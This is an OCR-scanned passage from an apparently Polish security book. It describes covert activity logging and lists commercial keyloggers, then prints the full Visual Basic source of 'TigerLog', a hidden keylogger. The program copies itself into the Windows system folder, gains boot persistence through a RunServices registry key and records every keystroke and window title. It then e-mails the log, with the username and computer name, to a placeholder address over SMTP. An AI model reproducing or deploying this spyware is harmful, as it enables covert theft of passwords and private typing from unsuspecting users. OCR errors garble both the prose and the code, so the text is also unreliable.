\Netscape\Users\default\cookies. txt
\Netscape\Users\default\netscape. hst
\Netscape\Users\default\prefs.js
\Netscape\Users\default\Cache\ *. *

B INTERNET EXPLORER

\Windows\Tempor~1\index.dat
\Windows\Cookies\index.dat
\Windows\History\index.dat

Dzienniki demonéw ustug sa znacznie prostsze do zarzadzania; do tego celu mozna wyko-
rzysta¢ zapytania bazy danych, na przyktad Accessa, Oracle’a lub SQL-a, lub bezposredni
dostgp do pliku, co zilustrowano na rysunku 2.7. W zaleznosci od wykorzystania pliki
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Rysunek 2.7.
Ustawianie funkcji
dziennikow demona

ustugi

dziennikéw powinny by¢ regularnie archiwizowane. Zauwaz jednakze, iz monitorowanie
adresow URL, dostgpu przez FTP oraz obstuga dziennikow przegladarki i proxy moze
znacznie zwigkszy¢ wymagane naktady.

ETEREn

Glownym problemem spowodowanym przez manipulacje dziennikami jest usunigcie
ich samych lub likwidacja danych po nieautoryzowanej penetracji. Z tego powodu
oméwimy techniki ukrytego tworzenia dziennikow. Oprocz wezesniej wymienionych,
znanych procedur tworzenia dziennikow, ukryte dzienniki z ograniczonym dostgpem
(ktory zostaje przyznany tylko kilku zaufanym administratorom) moga by¢ $wietna alter-
natywa. W niektorych przypadkach jednak moze by¢ zalecane lub konieczne przydziele-
nie odpowiedzialnosci za ukryte dzienniki wielu osobom, ktére nie wspolpracuja ze soba.
Rézne punkty widzenia tych oséb moga spowodowad ulepszenie sposobu rozwiazywa-
nia konfliktow. Niezaleznie od tego ukryte dzienniki z ograniczonym dostgpem moga
zosta¢ zaimplementowane przy uzyciu wlasnej techniki w celu monitorowania 0sob ko-
rzystajacych z danego komputera (na przyktad uzytkownikow z ograniczonymi prawa-
mi, takich jak mate dzieci) oraz $ledzenia wszystkich czynnosci wykonywanych recznie.

Cho¢ takie programy do tworzenia dziennikdw moga by¢ bardzo skomplikowane, sa
one relatywnie tatwe do zakodowania; istnieja rowniez setki narzedzi typu shareware, fre-
eware lub komercyjnych. Aby szybko je pobra¢ i przetestowaé, poszukaj takich
programow w wersji dla Windows i UNIX na witrynach C|Net (download.cnet.
com), TuCows (www.tucows.com), Shareware.com (www.shareware.com) i ZDNet
(www.zdnet.com/downloads). Oto kilka najpopularniejszych programow:

& Stealth Activity Recorder and Reporter (STARR) firmy IOPUS Software
(www.iopus.com),

¢ Invisible KeyLogger firmy Amecisco (www.amecisco.com),
¢ Keylnterceptor tfirmy UltraSoft (www.ultrasoft.ro),
¢ Ghost KeyLogger firmy Sure Shot (http://sureshot.virtualave.net).
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Domowi i prywatni uzytkownicy moga rowniez dostosowaé narzedzie TigerLog
(patrz rysunek 2.8) w celu petnego, ukrytego zapisywania w dzienniku wciskanych
klawiszy. TigerLog oferuje mozliwo$¢ modyfikacji klawiszy, ktére maja by¢ zapisy-
wane, zmiany sekwencji klawiszy aktywujacej wyswietlenia okna podshuchu sesji
(obecnie Shifi+F12), zmiany potozenia i domyslnej nazwy pliku dziennika (/Windows/
System/TigerLog. TXT), a takze wystania zawarto$ci pliku dziennika po jego zapet-
nieniu na wybrany adres e-mailowy (ktos@serwer _poczty.com) przy uzyciu serwera
SMTP (mail. mailserver.net). Ponizej znajduje si¢ najbardziej aktualna kompilacja Ti-
gerLoga.

Rysunek 2.8.
TigerLog (widoczny
tryb podstuchu sesji)
do ukrytego
monitorowania
aktywnosci systemu
i zapisywania

w dzienniku
wcisnietych klawiszy

B TigerLog

Private Declare Function Getasynckeystate Lib "user32" Alias "GetAsyncKeyState"
(Byval VKEY As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As
Integer
Private Declare Function RegOpenKeyExA Lib "advapi32.d11" (ByVal hKey As Long,
ByVal 1pSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long,
phkResult As Long) As Long
Private Declare Function RegSetValueExA Lib "advapi32.d11" (ByVal hKey As Long,
ByVal TpValueName As String, ByVal Reserved As Long, ByVal dwType As Long,
ByVal TpValue As String, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.d11" (ByVal hKey As Long) As
Long
Private Declare Function RegisterServiceProcess Lib "Kernel32.d11" (ByVal
dwProcessID As Long, ByVal dwType As Long) As Long
Private Declare Function GetForegroundWindow Lib "user32.d11" () As Long
Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal
hWndInsertAfter As Long, ByVal x As Long, ByVal Y As Long, ByVal cX As Long,
ByVal cY As Long, ByVal wFlags As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA"
(ByVal hWnd As Long, ByVal TpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias
"GetWindowTextLengthA" (ByVal hWnd As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA"
(Byval TpBuffer$, nSize As Long) As Long
Private Declare Function GetUserName Lib "advapi32.d11" Alias "GetUserNameA"
(Byval TpBuffer As String, nSize As Long) As Long
Private Const VK CAPITAL = &H14
Const REG As Long =1
Const HKEY_LOCAL_MACHINE As Long = &H80000002
Const HWND TOPMOST = -1
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Const SWP_NOMOVE = &H2

Const SWP_NOSIZE = &H1

Const flags = SWP_NOMOVE Or SWP_NOSIZE
Dim currentwindow As String

Dim Togfile As String

PubTic Function CAPSLOCKON() As Boolean
Static bInit As Boolean

Static bOn As Boolean

If Not bInit Then

While Getasynckeystate(VK CAPITAL)
Wend

bOn = GetKeyState(VK_CAPITAL)

bInit = True

Else

If Getasynckeystate(VK CAPITAL) Then
While Getasynckeystate(VK_CAPITAL)
DoEvents

Wend

pOn = Not bOn

End If

End If

CAPSLOCKON = bOn

End Function

Private Sub Commandl Click()
Forml.Visible = False
End Sub

Private Sub Form Load()
If App.PrevInstance Then
Unload Me
End
End If
HideMe
Hook Me.hWnd
Dim mypath, newlocation As String, u

currentwindow = GetCaption(GetForegroundWindow)
mypath = App.Path & "\" & App.EXEName & ".EXE" 'nazwa aplikacji
newlocation = Environ("WinDir") & "\system\" & App.EXEName & " EXE"

On Error Resume Next

If LCase(mypath) <> LCase(newlocation) Then

FileCopy mypath, newlocation
End If
u = RegOpenKeyExA(HKEY LOCAL MACHINE,

"Software\Microsoft\Windows\CurrentVersion\RunServices", 0, KEY _ALL ACCESS, a)
u = RegSetValueExA(a, App.EXEName, 0, REG, newlocation, 1)

u = RegCloseKey(a)

logfile = Environ("WinDir") & "\system\" & App.EXEName & ".TXT"

'nazwa_aplikacji.txt w Windows\system

Open Togfile For Append As #1
Write #1, vbCrLf

Write #1, " -- Start: " & Now & "J"
Write #1, String$(50, "-")

Close #1

End Sub
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Private Sub Form Unload(Cancel As Integer)
UnHook Me.hhind

texter$ = Textl

Open logfile For Append As #1

Write #1, texter

Write #1, String$(50, "-")

Write #1, " -- End: " & Now & "]"

Close #1

End Sub

Private Sub Timerl Timer()
If currentwindow <> GetCaption(GetForegroundwWindow) Then
currentwindow = GetCaption(GetForegroundWindow)
Textl = Textl & vbCrLf & vbCrLf & "[" & Time & " - Current Window: " &
currentwindow & "J1" & vbCrLf
End If
‘aktywacja formularza poprzez shift + 12
Dim keystate As Long
Dim Shift As Long
Shift = Getasynckeystate(vbKeyShift)

'klawisze do przechwycenia
keystate = Getasynckeystate(vbKeyA)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "A"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "a"
End If

keystate = Getasynckeystate(vbKeyB)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "B"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "b"
End If

keystate = Getasynckeystate(vbKeyC)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "C"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "c"
End If

keystate = Getasynckeystate(vbKeyD)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "D"
End If
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If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "d"
End If

keystate = Getasynckeystate(vbKeyE)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "E"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "e"
End If

keystate = Getasynckeystate(vbKeyF)
[T (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "F"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "f"
End If

keystate = Getasynckeystate(vbKeyG)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "G"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "g"
End If

keystate = Getasynckeystate(vbKeyH)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "H"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "h"
End If

keystate = Getasynckeystate(vbKeyl)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "I"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "i"
End If

keystate = Getasynckeystate(vbKeyJ)
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If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "J"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "j"
End If

keystate = Getasynckeystate(vbKeyK)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "K"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "k"
End If

keystate = Getasynckeystate(vbKeyl)
[T (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "L"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "1"
End If

keystate = Getasynckeystate(vbKeyM)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "M"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "m"
End If

keystate = Getasynckeystate(vbKeyN)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "N"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "n"
End If

keystate = Getasynckeystate(vbKeyQ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "0"
End If
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If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "0"
End If

keystate = Getasynckeystate(vbKeyP)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "P"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "p"
End If

keystate = Getasynckeystate(vbKeyQ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "Q"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "q"
End If

keystate = Getasynckeystate(vbKeyR)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "R"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "r"
End If

keystate = Getasynckeystate(vbKeyS)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "S"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "s"
End If

keystate = Getasynckeystate(vbKeyT)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "T"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "t"
End If
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keystate = Getasynckeystate(vbKeyl)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "U"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "u"
End If

keystate = Getasynckeystate(vbKeyV)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "V"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "v"
End If

keystate = Getasynckeystate(vbKeyW)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "W"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "w"
End If

keystate = Getasynckeystate(vbKeyX)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "X"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "x"
End If

keystate = Getasynckeystate(vbKeyY)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "Y"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "y"
End If

keystate = Getasynckeystate(vbKeyZ)
If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON
= False And Shift <> 0 And (keystate And &H1) = &H1) Then
Textl = Textl + "Z"
End If
If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or
(CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then
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Textl = Textl + "z"
End If

keystate = Getasynckeystate(vbKeyl)
If Shift = 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "1"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "!"
End If

keystate = Getasynckeystate(vbKey?2)
If Shift = 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "2"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "@"
End If

keystate = Getasynckeystate(vbKey3)
If Shift = 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "3"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "#"
End If

keystate = Getasynckeystate(vbKey4)
If Shift = 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "4"
End If

If Shift <> 0 And (keystate And &H1) = &Hl Then
Textl = Textl + "§"
End If

keystate = Getasynckeystate(vbKey5)
If Shift = 0 And (keystate And &H1) = &HI Then
Textl = Textl + "5"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "%"
End If

keystate = Getasynckeystate(vbKey6)
If Shift = 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "6"
End If
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If Shift <> 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "*"
End If

keystate = Getasynckeystate(vbKey7)
If Shift = 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "7"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "&"
End If

keystate = Getasynckeystate(vbKey8)
If Shift = 0 And (keystate And &H1) = &HI1 Then
Textl = Textl + "8"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "*"
End If

keystate = Getasynckeystate(vbKey9)
If Shift = 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "9"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "("
End If

keystate = Getasynckeystate(vbKey0)
If Shift = 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "0"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Textl = Textl + ")"
End If

keystate = Getasynckeystate(vbKeyBack)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{bkspc}"
End If

keystate = Getasynckeystate(vbKeyTab)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{tab}"
End If

keystate = Getasynckeystate(vbKeyReturn)
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If (keystate And &H1) = &H1 Then
Textl = Textl + vbCrLf
End If

keystate = Getasynckeystate(vbKeyShift)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{shift}"
End If

keystate = Getasynckeystate(vbKeyControl)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{ctr1}"
End If

keystate = Getasynckeystate(vbKeyMenu)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{alt}"
End If

keystate = Getasynckeystate(vbKeyPause)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{pause}"
End If

keystate = Getasynckeystate(vbKeyEscape)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{esc}"
End If

keystate = Getasynckeystate(vbKeySpace)
If (keystate And &H1) = &H1 Then
Textl = Textl + " "
End If

keystate = Getasynckeystate(vbKeyEnd)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{end}"
End If

keystate = Getasynckeystate(vbKeyHome)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{home}"
End If

keystate = Getasynckeystate(vbKeylLeft)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{Teft}"
End If

keystate = Getasynckeystate(vbKeyRight)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{right}"
End If

keystate = Getasynckeystate(vbKeyUp)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{up}"
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End If

keystate = Getasynckeystate(vbKeyDown)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{down}"
End If

keystate = Getasynckeystate(vbKeylInsert)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{insert}"
End If

keystate = Getasynckeystate(vbKeyDelete)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{Delete}"
End If

keystate = Getasynckeystate(&HBA)
If Shift = 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "
End If

keystate = Getasynckeystate(&HBB)
If Shift = 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "="
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "+"
End If

keystate = Getasynckeystate(&HBC)
If Shift = 0 And (keystate And &H1) = &HI1 Then
Textl = Textl + ","
End If

IT Shift <> 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "<"
End If

keystate = Getasynckeystate(&HBD)
If Shift = 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "-"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Textl = Textl + " "
End If

keystate = Getasynckeystate(&HBE)
If Shift = 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "."
End If
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If Shift <> 0 And (keystate And &H1) = &Hl Then
Textl = Textl + ">"
End If

keystate = Getasynckeystate(&HBF)
If Shift = 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "/"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "?"
End If

keystate = Getasynckeystate(&HCO)
If Shift = 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "'
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "~"
End If

keystate = Getasynckeystate(&HDB)
If Shift = 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "["
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "{"
End If

keystate = Getasynckeystate(&HDC)
If Shift = 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "\"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "|"
End If

keystate = Getasynckeystate(&HDD)
If Shift = 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "]"
End I

If Shift <> 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "}"
End If

keystate = Getasynckeystate(&HDE)
If Shift = 0 And (keystate And &H1) = &H1 Then
Textl = Textl + """
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Textl = Textl + Chr$(34)
End If
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keystate = Getasynckeystate(vbKeyMultiply)
If (keystate And &H1) = &H1 Then
Textl = Textl + "*"
End If

keystate = Getasynckeystate(vbKeyDivide)
If (keystate And &H1) = &H1 Then
Textl = Textl + "/"
End I

keystate = Getasynckeystate(vbKeyAdd)
If (keystate And &H1) = &H1 Then
Textl = Textl + "+"
End If

keystate = Getasynckeystate(vbKeySubtract)
If (keystate And &H1) = &H1 Then
Textl = Textl + "-"
End If

keystate = Getasynckeystate(vbKeyDecimal)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{Del}"
End If

keystate = Getasynckeystate(vbKeyF1)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{F1}"
End If

keystate = Getasynckeystate(vbKeyF2)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{F2}"
End If

keystate = Getasynckeystate(vbKeyF3)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{F3}"
End If

keystate = Getasynckeystate(vbKeyF4)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{F4}"
End I

keystate = Getasynckeystate(vbKeyF5)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{F5}"
End If

keystate = Getasynckeystate(vbKeyF6)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{F6}"
End If

keystate = Getasynckeystate(vbKeyF7)
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If (keystate And &H1) = &H1 Then
Textl = Textl + "{F7}"
End If

keystate = Getasynckeystate(vbKeyF8)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{F8}"
End If

keystate = Getasynckeystate(vbKeyF9)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{F9}"
End If

keystate = Getasynckeystate(vbKeyF10)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{F10}"
End If

keystate = Getasynckeystate(vbKeyF11)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{F11}"
End If

keystate = Getasynckeystate(vbKeyF12)
If Shift = 0 And (keystate And &H1) = &H1 Then
Textl = Textl + "{F12}"
End If

If Shift <> 0 And (keystate And &H1) = &H1 Then
Forml.Visible = True
End If

keystate = Getasynckeystate(vbKeyNumlock)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{NumLock}"
End If

keystate = Getasynckeystate(vbKeyScrolllLock)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{ScrollLock}"
End If

keystate = Getasynckeystate(vbKeyPrint)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{PrintScreen}"
End If

keystate = Getasynckeystate(vbKeyPageUp)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{PageUp}"
End If

keystate = Getasynckeystate(vbKeyPageDown)
If (keystate And &H1) = &H1 Then
Textl = Textl + "{Pagedown}"
End If
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keystate = Getasynckeystate(vbKeyNumpadl)
If (keystate And &H1) = &H1 Then
Textl = Textl + "1"
End If

keystate = Getasynckeystate(vbKeyNumpad?)
If (keystate And &H1) = &H1 Then
Textl = Textl + "2"
End If

keystate = Getasynckeystate(vbKeyNumpad3)
If (keystate And &H1) = &H1 Then
Textl = Textl + "3"
End If

keystate = Getasynckeystate(vbKeyNumpad4)
If (keystate And &H1) = &H1 Then
Textl = Textl + "4"
End If

keystate = Getasynckeystate(vbKeyNumpad5)
If (keystate And &H1) = &H1 Then
Textl = Textl + "5"
End If

keystate = Getasynckeystate(vbKeyNumpad6)
If (keystate And &H1) = &H1 Then
Textl = Textl + "6"
End If

keystate = Getasynckeystate(vbKeyNumpad7)
If (keystate And &H1) = &H1 Then
Textl = Textl + "7"
End If

keystate = Getasynckeystate(vbKeyNumpad8)
If (keystate And &H1) = &H1 Then
Textl = Textl + "8"
End If

keystate = Getasynckeystate(vbKeyNumpad9)
If (keystate And &H1) = &H1 Then
Textl = Textl + "9"
End If

keystate = Getasynckeystate(vbKeyNumpad0)

If (keystate And &H1) = &H1 Then
Textl = Textl + "0"
End If

End Sub

Private Sub Timer2 Timer()

Dim Tfilesize As Long, txtlog As String, success As Integer

Dim from As String, name As String
Open Togfile For Append As #1
Write #1, Textl

Close #1
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Textl.Text = ""
1filesize = FileLen(logfile)
If 1filesize >= 4000 Then
Textz = ""
inform
Open Togfile For Input As #1
While Not EOF(1)
Input #1, txtlog
DoEvents
Text2 = Text2 & vbCrLf & txtlog
Wend
Close #1
txtstatus = ""
Call StartWinsock("")
success = smtp("mail.smtpserver.net", "25", "ktos@serwer poczty.com",
"ktos@serwer poczty.com", "log file", "Tigerlog",
"ktos@serwer poczty.com", "1 o g f i 1 e", Text2)
‘wysyta zawartoSC dziennika do ktos@serwer poczty.com
If success = 1 Then
Kill Togfile
End If
Call closesocket (mysock)
End If
End Sub

PubTic Sub FormOntop(FormName As Form)
Call SetWindowPos(FormName.hWnd, HWND TOPMOST, 0&, 0&, 0&, 0&, flags)
End Sub

Function GetCaption(WindowHandle As Long) As String
Dim Buffer As String, Textlength As Long
TextLength& = GetWindowTextLength(WindowHandle&)
Buffer$ = String(TextlLength&, 0&)
Call GetWindowText (WindowHandle&, Buffer$, TextLength& + 1)
GetCaption$ = Buffer$
End Function

Sub inform()

Dim szUser As String * 255

Dim vers As String * 255

Dim lang, TReturn, comp As Long

Dim s, x As Long

1Return = GetUserName(szUser, 255)

comp = GetComputerName(vers, 1024)

Text2 = "Username- " & szUser

Text2 = Text2 & vbCrLf & "Computer Name- " & vers
End Sub

Pokazane w tym rozdziale programy i towarzyszgce pliki modutéw sg dostepne na
dotgczonym do tej ksigzki CD-ROM-ie.




